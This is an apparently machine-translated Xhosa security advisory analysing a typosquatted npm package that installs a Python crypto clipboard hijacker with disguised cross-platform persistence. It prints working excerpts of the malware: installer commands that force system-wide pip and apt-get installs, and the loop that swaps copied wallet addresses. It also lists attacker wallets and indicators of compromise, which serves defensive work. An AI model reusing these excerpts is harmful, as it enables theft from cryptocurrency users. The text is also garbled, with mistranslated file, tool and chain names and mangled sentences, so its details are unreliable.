TL; DR
Ngomhla wama-2026-05-21, umshicileli we-npm jaggle ikhuphe iinguqulelo ezisithoba (1.0.0 ngokusebenzisa 1.0.8) @jaggle/resizeobserves kwifestile emalunga neeyure ezimbini.
Le phakheji yinkcazo yento esemthethweni @juggle/resize-observer i-polyfill — iphakheji esetyenziswa kakhulu enezigidi zeedownloads zeveki nganye — kodwa ayithumeli ukuphunyezwa kweResizeObserver.
Endaweni yoko, iphakheji ihaki emva kokufaka ifaka i-payload yePython ehlanganisiweyo, ibhalise ukunyamezela njengomthengisi wexesha lokusebenza ojongeka ngathi ungowemveli, kwaye isebenzise i-clipboard hijacker ejolise kwiintengiselwano ze-cryptocurrency.
Linux ukuzingisa kubonakala njenge python3-dbus-helper, Mac as com.apple.python.runtime, yaye Windows as PyRuntimeBroker.
Umthwalo ohlawulwayo uhlala ujonga ibhodi yokunamathisela ukuze ubone iidilesi zesipaji kuzo zonke ii-blockchain ezingaphezulu kwama-40 kwaye itshintsha iidilesi ezikopishiweyo buthule ngeewallet ezilawulwa ngabahlaseli.
I-malware isebenza ngokupheleleyo ngaphakathi ngaphandle kwesiseko se-C2 esiphumayo, nto leyo eyenza ukuba ukutshintsha i-clipboard kube yindlela yokuphuma.
I-IOC ephambili ligama lephakheji ngokwayo: @jaggle/resizeobserves — qaphela isikhamiso esiwisiweyo ku-“jaggle” kunye no-“s” abongeziweyo ku-“resizeobserves”.
Ubunzima: phezulu.
Uhlaselo: Indlela Olusebenza Ngayo
npm:@jaggle/resizeobserves ayibonakali njenge-malware kwisixhobo esiqhelekileyo umbono we-npm. Yayo FUNDA.md yi-README echanekileyo ka npm:@juggle/resize-observer — iisampulu zekhowudi ezifanayo, imiyalelo yokusetyenziswa efanayo, efanayo ngenisa { ResizeObserver } ukusuka kwi '@juggle/resize-observer' iireferensi kuyo yonke indawo. Ukukopa kuphelele kangangokuba nabani na ojonga amaxwebhu angacinga ukuba ufunda amaxwebhu asemthethweni ephakheji.
The iphakheji.json, ngokuchaseneyo, ayifumaneki lula: hayi yokugcina intsimi, enye mna indawo yokungena ekhomba e bin/clipboard-guardian.js, Kunye postinstall iskripthi esisebenzayo i-node npm-install.jsImizekelo "yokusetyenziswa okusisiseko" ye-README ibhekisa ekuphunyezweni kweJavaScript okungekho naphi na kwi-tarball. I-JavaScript kuphela kwiphakheji yiskripthi sokufaka.
Inqanaba loku-1 — npm postinstall bootstraps a Python payload
npm-install.js iyazi kakuhle iqonga. Ifumana kuba ekugqibeleni iyasebenza ngendlela yokukhangela engaguqukiyo (/usr/bin/pip3, /usr/local/bin/pip, ukubuyela ku i-python3 -m pip), ifaka iphakheji yePython ehlanganisiweyo kwi-tarball directory, kwaye — kwiLinux — itsala xclip or xsell ngokusebenzisa ukufumana ngokufanelekileyo, pacman, okanye dnf ukuba akukho nanye esele ikhona:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); Ukusetyenziswa –iiphakheji zenkqubo-yokwaphula yenzelwe ngabom: ukusasazwa kweLinux yanamhlanje kuthumela iPython kunye nophawu lwe-PEP 668 olulawulwa ngaphandle oluvulwe, oluvimba ukufakwa kwepip kwisiza sonke ngokungagqibekanga. Iskripthi sokufaka sinyanzela ukufakwa kudlule.
Iskripthi sikwanolwazi nge-sudo. Xa i-uid esebenzayo isiphumo se- ukufaka i-sudo npm, iskripthi sifundeka ngolu hlobo SUDO_USER kunye neeqokobhe eziya ndifumene ipasswd ukufumana yenene isikhombisi sasekhaya somsebenzisi, emva koko sibhala iifayile zaso zokuqhubeka apho endaweni yokuba sibhale / ingcambu. Ukunyamezela kuxhomekeke kumsebenzisi ngamnye, kungekhona kwinkqubo yonke.
Inqanaba lesi-2 — Ukunyamezela kwe-Cross-OS phantsi kwamagama e-runtime-broker
Emva kokuba iphakheji yePython ifakiwe, iskripthi sibhalisa ungeniso lwe-auto-start phantsi kwegama elahlukileyo kwinkqubo nganye yokusebenza:
- Linux — iyunithi yomsebenzisi wenkqubo ekwi ~/.config/systemd/user/python3-dbus-helper.service. Iyunithi inkcazelo is Umncedisi wexesha lokusebenza wePython D-BusIskripthi sizama ukuyivula ngokusebenzisa i-systemctl -umsebenzisi uvumela, sibuyela kwi-symlink yesandla phantsi i-default.target.wants/ xa i-systemctl isilela. Ukuba isebenza phantsi kwe-sudo, iskripthi sitshintshela kwi sudo -u inkqubo-umsebenzisi, ne XDG_RUNTIME_DIR seta ukuze umnxeba webhasi yomsebenzisi usebenze.
- Mac — uluhlu lwe-LaunchAgent e ~/Ithala leeNcwadi/IiLaunchAgents/com.apple.python.runtime.plist kunye RunAtLoad=yinyani kwaye Gcina uphila = yinyani, emva koko ilayishwe nge umthwalo we-launchctl.
- Windows — Umsebenzi oCwangcisiweyo obizwa ngokuba yiPyRuntimeBroker, oqalise i-AtLogOn, enexesha lokuphumeza elingu-zero (oko kukuthi, akukho xesha liphelileyo), ebhaliswe ngePowerShell.
Onke la magama mathathu athembekile xa uwajonga nje. umncedisi we-python3-dbus kulandela indlela yokubiza amagama yokudibanisa okusemthethweni kwePython-D-Bus kwiidesktop zeLinux. com.apple.python.runtime ilinganisa ilebhile ye-Apple ye-reverse-DNS kwiinkonzo zayo. I-PyRuntimeBroker iphinda i-Windows's RuntimeBroker.exe — yinkonzo yokwenyani, esayinwe yiMicrosoft evumela izicelo zemvume kwii-apps ze-UWP. Akukho nanye kwezi ziinkonzo zokwenyani ze-Apple/Microsoft/Python kule meko, kodwa ngumkhuseli owenza iskena esibonakalayo esikhawulezileyo. iiyunithi zoluhlu lwabasebenzisi be-systemctl or Fumana-ScheduledTask akunakwenzeka ukuba atyhafe.
Inqanaba lesi-3 — Umqhekezi webhodi yokunamathisela
Umthwalo wePython, ofakwe apha i-clipboard_guardian/guardian.py, isebenzisa iluphu engapheliyo ehlola ibhodi yokunamathisela yenkqubo rhoqo emva kwee-millisecond ezingama-400. Kwi-tick nganye, itsala umxholo webhodi yokunamathisela yangoku nge i-pyperclip.paste() kwaye iwasebenzisa ngokuchasene noluhlu lweentetho eziqhelekileyo ezihlanganisiweyo ezingama-40 nangaphezulu ezigubungela iifomathi zedilesi yesipaji se-Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain, kunye nezinye ezininzi ezingenanto kodwa zingenanto kwi-default config (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
Xa umdlalo ufika, iskripthi sifunda idilesi yomhlaseli welo candelo ukusuka ~/.config/clipboard-guardian/config.json (okanye izinto ezilingana neqonga layo) kwaye ibhala ngaphezulu ibhodi yokunamathisela ngombhalo otshintshiweyo:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) Akukho sixhobo senethiwekhi. I-clipper ayitsaleli umnxeba ekhaya, ayibhalisi ii-hosts ezinentsholongwane, ayikhuphi nantoni na. Ukukhupha kukutshintsha ngokwayo: xa umsebenzisi ekopa idilesi yomamkeli kwi-UI yewallet yakhe aze ayincamathisele kwi-dialog yokuthumela, idilesi enamathiselweyo yeyomqhubi. Imali ilahleka ngaphakathi, ngokucacileyo kumsebenzisi.
Yintoni entsha apha
Iinkcukacha ezimbalwa ziyabonakala xa zithelekiswa netemplate ye-crypto-clipper eqhelekileyo:
1. npm → Python crossover. Uninzi lwee-crypto-clippers esizibonayo kwi-npm zi-JavaScript ecocekileyo, zihlala zifihlwe nge _0x ukujikeleza kwe-array okanye i-eval(atob(…)) ii-stacks. Le sampulu isebenzisa i-npm tarball njengento engaphaya kwe-delivery wrapper yephakheji yePython — i-clean Python — kwaye ivumela i-pip ukubamba ukufakwa kokuxhomekeka (i-pyperclip, i-psutil, ungazikhethela setproctitle) ibhengezwe kwi-bundled pyproject.tomlAkukho JavaScript obfuscation enokoyiswa. I-clipper ngokwayo yiPython ecacileyo, efundekayo.
2. Iilebhile zokuqhubeka kwe-Tri-OS ezikhethiweyo ukuze kube lula ukuzisebenzisa. Uninzi lwabafaki beeplatifomu ezahlukeneyo babhalisa ukunyamezela phantsi kwamagama aqhelekileyo (inkonzo yokuhlaziya, umncedisi.plist). Le sampulu ithatha inkathazo yokukhetha iilebhile ezifana nee-platform-native runtime brokers kwi-OS nganye. Ukubiza amagama yeyona ndlela yodwa yokuzifihla — akukho rootkit, akukho userland hide, akukho path obfuscation. Ingxaki kukuba abakhuseli abafane bahlole. ~/.config/systemd/user/ kwaye inkonzo egama lingu umncedisi we-python3-dbus ayizukugqama kuphononongo oluqhelekileyo.
3. Ukufihla isihloko senkqubo kuyinto yokwenyani, kodwa ukuchasana nohlalutyo akusebenzi. Umthwalo wokuhlawula wePython uchaza i _inkqubo_yokufihla() umsebenzi obeka isihloko senkqubo nge setproctitle (iLinux/macOS) okanye I-SetConsoleTitleW (iiWindows) — kunye ephambili () uyayibiza loo nto. Ngoko ke ps uya iya kubonisa umncedisi we-python3-dbus ngaphandle kwe i-python3 …/guardian.pyNangona kunjalo, le module inye ichaza i iyaqhuba_imonitha_iyasebenza() umsebenzi obala izixhobo ezaziwayo zokubeka esweni inkqubo (phezulu, i-btop, Umphathi woMsebenzi, Umphathi woMsebenzi, i-Process Hacker, i-Resource Monitor, ii-GNOME / KDE / Xfce / MATE system monitors, njalo njalo) — kunye ephambili () Ayibizi. I-replacement loop isebenza ngaphandle kwemiqathango, nokuba umsebenzisi une-process monitor evuliweyo okanye akunjalo. Umsebenzi awusebenzi kwi-version ethunyelweyo. Kusenokwenzeka ukuba yintsalela evela kwi-iteration yangaphambili, okanye i-scaffolding yesici esingekadibani. Nokuba yeyiphi na indlela, umphezulu we-payload oshicilelweyo wokuchasana nohlalutyo luqambo olunye lwesihloko senkqubo, kungekhona ukuphepha i-monitor esebenzayo.
4. Ukuziphatha kwe-bundled config-merge. npm-install.js ubhala uluhlu lwesikhwama oluzenzekelayo ku ~/.config/clipboard-guardian/config.json kwaye, ukuba ifayile yoqwalaselo sele ikhona, idibana nakweyiphi na izitshixo ezinexabiso elikhoyo elingenanto. Oko kuthetha ukuba umsebenzisi oye wosuleleka ngaphambili waza wacoca kancinci uqwalaselo — masithi, ngokukhupha yonke into kwi ethereum ixabiso — liya kuba nalo lizaliswa kwakhona yiyo yonke iphakheji enobungozi elandelayo. Akukho kucocwa kwefayile yokunyamezela kuyo nayiphi na indlela yekhowudi.
| Umhla / Ixesha (i-UTC) | umcimbi |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 ipapashiwe. |
2026-05-21 19:55:55 | 1.0.1 ipapashwe — inguqulelo yokuqala iphawulwe yi-external scanning. |
2026-05-21 19:58:10 | 1.0.2 ipapashiwe. |
2026-05-21 20:05:03 | 1.0.3 ipapashiwe. |
2026-05-21 20:09:24 | 1.0.4 ipapashiwe. |
2026-05-21 20:13:48 | 1.0.5 ipapashiwe. |
2026-05-21 20:41:52 | 1.0.6 ipapashiwe. |
2026-05-21 20:43:56 | 1.0.7 ipapashwe — yongeza i try/catch isisongeli esijikeleze i-wallet-config bhala inyathelo lokungena npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 ipapashiwe — umfakeli uphinde wabizwa igama elitsha npm-install.js → npm-install.cjs (umxholo ofanayo ngebhayithi). |
2026-05-22 | Izigwebo kunye nee-IOC zipapashwe. Iinguqulelo zisasebenza kwirejista ngexesha lokupapashwa (kuyaqhubeka). |
Iinguqulelo ezilithoba kwiyure enye nemizuzu engamashumi amahlanu anesithandathu zikhawuleza nokuba kubhalwe phantsi. Le ndlela ihambelana ne iphulo lokupapasha nokutshisa — gcwalisa irejistri phantsi kwesiphatho esinye, vumela ukufunyanwa kuqhubeke, kwaye uye kwisiphatho esitsha xa inguqulelo enye isusiwe. Iidelta ezibonakalayo kulo lonke uhambo zintle: 1.0.1 yongezwe ngokucacileyo /usr/bin/pip3-style iindlela eziya kuluhlu lokukhangela lwepip (ukuhambelana kwe-sudo), 1.0.7 yasonga i-wallet-config write kwi-try/catch, kwaye 1.0.8 yathiya igama elitsha i-installer ukusuka kwi .js ukuba .cjs ngelixa igcina umxholo wayo ufana ne-byte. .cjs qamba kwakhona iithrekhi ngezilumkiso ze-npm malunga nesisombululo semodyuli esingacacanga kwiiphakheji ngaphandle kokucaca "Uhlobo" intsimi, kwaye isenokuba ngumzamo wokuthintela ingxolo yexesha lokufaka enokutsala ingqalelo. Umthwalo wePython — eyona nxalenye iphela eba ngokwenene — awutshintshanga kuzo zonke iinguqulelo ezilithoba.
Iimpawu zokuvumelana
Iipakethi
| Ecosystems | ipakethe | iinguqulelo | isimo |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 ngokusebenzisa 1.0.8 | Bukhoma xa kupapashwa; kuceliwe ukuba kususwe. |
Iifayile kunye neeHashes
| Indlela | amaNqaku |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | Ifana kuzo zonke iinguqulelo ezisithoba ezipapashiweyo (1.0.0 ngokusebenzisa 1.0.8). Umthwalo womqadi wekliphu. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | Umfaki wokuqina; indlela efanayo yokuphatha izinto ukusuka ekuqaleni ukuya ekupheleni. 1.0.7's .js kwaye 1.0.8's .cjs ziyafana nge-byte. |
~/.config/clipboard-guardian/config.json | Iphakheji ye-Linux persistence config kunye ne-wallet. |
~/Library/Application Support/clipboard-guardian/config.json | i-macOS persistence config kunye ne-wallet bundle. |
%APPDATA%\clipboard-guardian\config.json | Iphakheji yesilungiselelo sokuqhubeka kweWindows kunye nesipaji. |
~/.config/systemd/user/python3-dbus-helper.service | Ukuqhubeka kweLinux ngokuzenzekelayo. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | Ukuqhubeka kwe-macOS LaunchAgent. |
~/Library/Logs/com.apple.python.runtime.log | i-macOS stdout/stderr log yearhente. |
Scheduled Task PyRuntimeBroker | Umsebenzi wokuqalisa ngokuzenzekelayo weWindows (AtLogOn, akukho xesha lokuphumla). |
Iimpawu zokuziphatha
| Uphawu | inkcazelo |
|---|---|
pip install --break-system-packages ukusuka kwi-npm postinstall | Inyanzela ukufakwa kwePython kwindawo yonke ukuze idlule ukhuseleko lwe-PEP 668. |
apt-get install -y xclip (okanye i-pacman/dnf) | Ifaka izixhobo zebhodi yokunamathisela kwiLinux ngexesha lokufakwa kwephakheji. |
python3-dbus-helper.service iyunithi yomsebenzisi wenkqubo | Ukunyamezela kubhaliswe phantsi kwegama elibonakala ngathi liluncedo kwixesha lokusebenza. |
com.apple.python.runtime LaunchAgent | Ileyibhile yokuqina ngaphandle kweendlela zenkqubo ze-Apple ezisemthethweni. |
PyRuntimeBroker Umsebenzi oCwangcisiweyo | Uqhubekeko lwe-Windows runtime broker olungeyonyani ngaphandle komthombo wokufaka osemthethweni. |
Inkqubo yePython enesihloko python3-dbus-helper ukungenisa pyperclip kwaye psutil | Ukungafani kokuziphatha phakathi kwegama lenkqubo ebonisiweyo kunye neelayibrari ezingenisiweyo. |
| Utshintsho lwebhodi yokuklipha ~0.4s emva kwekopi yedilesi yesipaji | Ukuziphatha kotyikityo lokutshintshwa kwedilesi ye-cryptocurrency. |
Iphakheji yesipaji somhlaseli (uluhlu lokuzingela abakhuseli)
Uluhlu lwezipaji luthunyelwa lubhalwe ngekhowudi engqongqo npm-install.js kwaye i-clipboard_guardian/guardian.pyAbakhuseli banokusebenzisa olu luhlu njengoluhlu oluthintelayo (baphathe naluphi na udluliselo oluya kwezi dilesi ukusuka kwiiwallet zeenkampani njengento ethandabuzekayo) kunye nesitshixo sokuzingela (baphathe ubukho bemitya kwezi fayile kwifayile yoqwalaselo engaqinisekiswanga, i-build artifact, okanye umatshini womphuhlisi njengesalathisi sosulelo).
Inqwaba yeWallet yoMhlaseli
| itsheyini | idilesi |
|---|---|
| I-Ethereum / i-BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ronin (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| I-Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte: | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripples | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Ipolka dot | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NGOKU | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| Cosmos | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| kucocwa | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| ICelestia | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| Ukungasebenzi | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Harmony | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| Terra | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| Stellar | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| MultiversX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| kufanelekile | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| sui | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| nano | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Ifayilecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Ergo | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
Iitsheyini ezine-regex coverage kodwa i-wallet slots ezingenanto kwi-default config — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — azithathelwa indawo ngokukhutheleyo kolu lwakhiwo kodwa ziyafunyanwa. Ziphathe njenge-scope yokujonga endaweni ye-scope yokutshintsha.
Imfanelo kunye neNkuthazo
Le phulo inika umfanekiso omncinci. Asikwazanga ukuqinisekisa ubuwena bomqhubi. Oko sinokukurekhoda:
- I-metadata yomshicileli. Iakhawunti ye-npm i-jaggle idwelisa i-imeyile yayo njenge olgascarlet@deltajohnsons.comIdomeyini deltajohnsons.com Ayisombululi isazisi senkampani esinokusiqinisekisa. Iakhawunti ye-npm ayibonisi kuqinisekiswa kwe-imeyile kwaye ayikho SCM ukuqinisekiswa. Akukho bukho beGitHub kawonke-wonke obunxulumeneyo.
- Intsimi yokugcina izinto. The iphakheji.json ayithwali nto yokugcina intsimi. Isemthethweni npm:@juggle/resize-observer amanqaku kwindawo yokugcina izinto yeGitHub eneenkwenkwezi ezininzi kunye nemiba esebenzayo. Ukungabikho kwekhonkco lokugcina izinto yeyona ndlela ikhawulezayo yokubona izinto kwi-npm UI.
- U-README ukukopa. Iphakheji ye-README isemthethweni @juggle/resize-observer I-README byte-for-byte, kuquka yokungenisa imizekelo ebhekisa kuyo @juggle/resize-observer ngokwayo (hayi iphakheji yokupapasha). Umqhubi akazange azikhathaze nokubhala kwakhona izinto ezingenisiweyo — uphawu oluqhelekileyo lokuba i-readme iphakanyisiwe, ayilungiswanga.
- Akukho ziseko zophuhliso ekufuneka zijikeleziswe. Akukho ndawo yokuphela kwe-C2, akukho kukhangela i-DNS, akukho IP. Le ndlela yokuziphatha inobungozi igqunywe ngokupheleleyo kwi-clipper yasekuhlaleni kunye ne-wallet bundle enekhowudi eqinileyo. Oku kwenza ukuba i-pivoting esekelwe kwi-domain okanye kwi-ASN ingabikho. Abakhuseli abajikeleza kwiiphulo kufuneka badibanise ii-wallets kunye nayo nayiphi na i-clipper yangaphambili abanayo kwifayile; ukusetyenziswa kwakhona kwe-wallet kwiiphakheji yeyona khonkco ilungileyo yokuqhuba.
- Ukukhetha amagama. @jaggle/resizeobserves kukho umlinganiswa omnye osusiweyo kwi @juggle kunye nokutshintsha okukodwa ukusuka kowaziwayo umbukeli-wokutshintsha ubungakanani. Umgama wokuhlela odibeneyo zii-glyphs ezimbini. Olu lungqubano olubonakalayo olubonwe ngabom, hayi ukuqubha okuqhelekileyo.
Inkuthazo, esekelwe kwindlela yokuziphatha yomthwalo: ukwenza imali ngendlela ecocekileyo ngokutshintsha ibhodi yokunamathisela amathuba. Akukho kuvuna iziqinisekiso, akukho mfanekiso weminwe yomsingathi, akukho kufundwa okuguqukayo kwendalo. Umsebenzisi akanandaba nokuba ngubani ixhoba - bayakhathala ukuba ukudluliselwa okulandelayo kwexhoba kukhomba kwenye yeedilesi ezidwelisiweyo. Ugutyungelwe ziintambo ezingamashumi amane ngumzekelo welotho osebenzayo: phosa ngokubanzi, ndinethemba lokuba ipaste enye enexabiso eliphezulu ifika kanye ngokufakwa kwe-N.
Umsebenzisi ubonakala engenaxhala malunga nokususwa kwefayile. Ukupapasha iinguqulelo ezilithoba ngaphakathi kweeyure ezimbini phantsi komlinganiselo ofanayo kufundeka njengesiphatho sokushicilela nokutshisa: ukwandisa umgama werejista ngaphambi kokuba i-takedown ifikelele, uze uqhubeke. Asikayiboni le nto. @jaggle ukupapasha kwakhona phantsi komda omtsha ngexesha lokubhala, kodwa besiya kulindela umda ofanayo (@jaggie, @juggle-, @joggle) ukuba ivele kwiintsuku ezizayo ukuba umqhubi usasebenza.
Impembelelo, Iindlela Ezisetyenziswayo kunye Nezinto Ekufuneka Zenziwe Ngabakhuseli
igalelo
Ukulinganisa impembelelo kwimali yokwenyani akunakwenzeka kwidatha ekhoyo ngoku. I-clipper ayibhali i-telemetry kwaye ii-wallets azikabonwa zifumana ukudluliselwa okutshintshiweyo ngexesha lohlalutyo (ukulandelelana kweetsheyini ezidwelisiweyo kuluhlu lwethu). npm:@juggle/resize-observer ifikelela kuma-avareji asixhenxe okukhuphela ngeveki — i-typosquat target enabantu abaninzi abasebenzisa i-typosquat — kwaye le phakheji inobungozi yayiphila ngaphantsi kweeyure ezingama-24 ngexesha lokutyhilwa kwayo, nto leyo ethintela uluntu ukuba luvezwe kodwa ayikwenzi kube nzima.
I-radius yokuqhuma efanelekileyo ukulandelwa ayikuko ukukhutshelwa ngqo kwe @jaggle/resizeobserves — ezo zisenokuba zincinci. Zizinto **ezifakelwayo eziguqukayo**: umphuhlisi wongeza iphakheji kwiprojekthi yesanti, isebenza npm ukufaka, uze ulibele ukuba i-install hook yakha yasebenza. Yonke imashini eyayicubungula i-postinstall ngoku ine-clipboard hijacker yomsebenzisi ngamnye kwi-auto-start, nokuba iprojekthi isekwidiski na. Ukususa i-package directory kwi iimodyuli ayisusi ukuzingisa.
Iipateni ezivelayo
Iindlela ezimbini ezisetyenziswayo kweli phulo zibonisa.
npm njengesixhobo sokuhambisa umrhumo wePython-payload. I-npm tarball sisifakeli esinemigca emi-4; i-stealer yokwenyani yiPython, efakwe kwinkqubo yonke yi kuba ekugqibeleni kwi-bundled directory. Oku akunto intsha - sibonile iipakeji ze-npm zilahla iPython ngaphambili - kodwa iba yimeko eqhelekileyo ngokulinganiselayo kwiiphulo ze-crypto-clipper. Inzuzo kumqhubi iphindwe kabini: Iilayibrari ze-clipboard zePython (i-pyperclip kuqala phakathi kwazo) zicocekile kwaye zisebenza ngamaqonga amaninzi kunee-JavaScript ezifanayo, kwaye uninzi lwezikena ze-npm ezenzekelayo zinzima kakhulu kwiifayile zeJavaScript kunye nePython .py iibhanti kancinci. Ixabiso kukuba indawo yokufaka iphezulu kakhulu - entsha pip ufake Kunzima ukuyifihla kumatshini womphuhlisi ongaqhelekanga pip ufake Ngexesha npm ukufaka.
Amagama emveli eqonga njengeyona nto ifihlakeleyo kuphela. Iikliphu ezininzi zakutshanje kunye neenkampani ezisebenzisa imali encinci ziye zayilahla ngokupheleleyo ikhowudi efihlakeleyo zaza zakhetha iilebhile ezibonakala zisemthethweni. umncedisi we-python3-dbus, com.apple.python.runtime, yaye I-PyRuntimeBroker yimizekelo yeencwadi zezifundo — amagama iliso lomkhuseli liza kuwatsiba kuluhlu lweenkonzo zabasebenzisi abangamashumi amane. Olu luhlobo olungabizi kakhulu noluhlala ixesha elide lokufihlakeleyo: ukususwa kwefayile kwenziwa ngokwephakheji nganye, kodwa iifayile eziqhubekayo ziyasinda ekususweni kwefayile, kwaye inkonzo ebizwa ngegama lecandelo leqonga elijongeka liyinyani ayizukucocwa yinto ngaphandle kokuhlolwa okucacileyo.
Oko abakhuseli bafanele bakwenze
- Uhlolo ~/.config/systemd/user/, ~/Library/LaunchAgents/, kunye ne-Get-ScheduledTask Mveliso kwiimashini zomphuhlisi zeefayile ezidweliswe kwi-IOCs. Ukususa iphakheji ye-npm kushiya ezi ndawo; kufuneka zisuswe ngesandla.
- Ukudluliselwa kwebhloko kwiidilesi zesipaji ezidwelisiweyo kwimida ye-corporate-treasury kunye ne-DeFi-wallet apho kukho uluhlu lwe-address-allowance lifumaneka khona.
- Khangela i ~/.config/clipboard-guardian/config.json (kunye nezinto ezifanayo kwiqonga) kulo lonke iqela labaphuhlisi-matshini. Ubukho befayile buyintsholongwane ethembekileyo nokuba yeyiphi na inguqulelo yephakheji eyithumeleyo.
- Khangela i-node_modules/ kwi-clipboard_guardian/guardian.py kwii-snapshots ze-build-cache ezinokuba zangaphambi kokususwa. I-md5 yefayile izinzile kuzo zonke iinguqulelo eziphononongiweyo.
- Iphini yefayile etshixiweyo @juggle/resize-observer (iphakheji esemthethweni) ukuze ukufakelwa kwexesha elizayo kungabi nakho ukusombulula nantoni na phantsi kohlobo olungalunganga lomlinganiswa omnye, ingakumbi kwimisebenzi yokusebenza engenafayile efana ne-lockfile efana npx.
- Phatha nayiphi na i-npm postinstall ebiza i-pip install njengobunzima obukhulu ekwakheni-pipeline Akukho sizathu sivakalayo sokuba iphakheji ye-npm ifune i-pip ngexesha lokufaka - i-Python tooling isasaza i-Python tooling.
- Khangela idatha yokujonga enokuthelekiseka ye-process_iter() kwiinkqubo ezibizwa ngokuba yi-python3-dbus-helper ezingenisa i-pyperclip — ukungangqinelani kwe-disguise (umncedisi we-D-Bus ophethe ilayibrari yebhodi yokunamathisela) yeyona nto icocekileyo esinayo.
- Jikelezisa iidilesi zesipaji ezincamathiselwe kwiimashini ezinentsholongwane. I-clipboard hijacker iphazamisa indlela ephakathi kwe-wallet UI kunye ne-paste target; iidilesi ezikopishwe ngelixa zisulelekile zinokutshintshwa buthule. Nantoni na ethunyelwe ngexesha losulelo kufuneka ithathwe njengengaqondiswanga kakuhle.
Isifundo: ukuphikelela kuphila ixesha elide kunokususwa. Irejista ekugqibeleni iya kuyisusa @jaggle/resizeobserves kuzo zonke iinguqulelo ezilithoba; iyunithi yenkqubo, iLaunchAgent, kunye neScheduled Task aziyi kuzisusa ngokwazo.
Ucaphulo
- @juggle/resize-observer kwi-npm — iphakheji esemthethweni elinganiswa yile typosquat; iluncedo njengesiseko se-byte-for-byte README plagiarism.
- i-@jaggle/resizeobserves i-data yerejista — shicilela izitampu zexesha zeenguqulelo ezilithoba ezinobungozi, eziluncedo ekucwangciseni ixesha le-forensic.
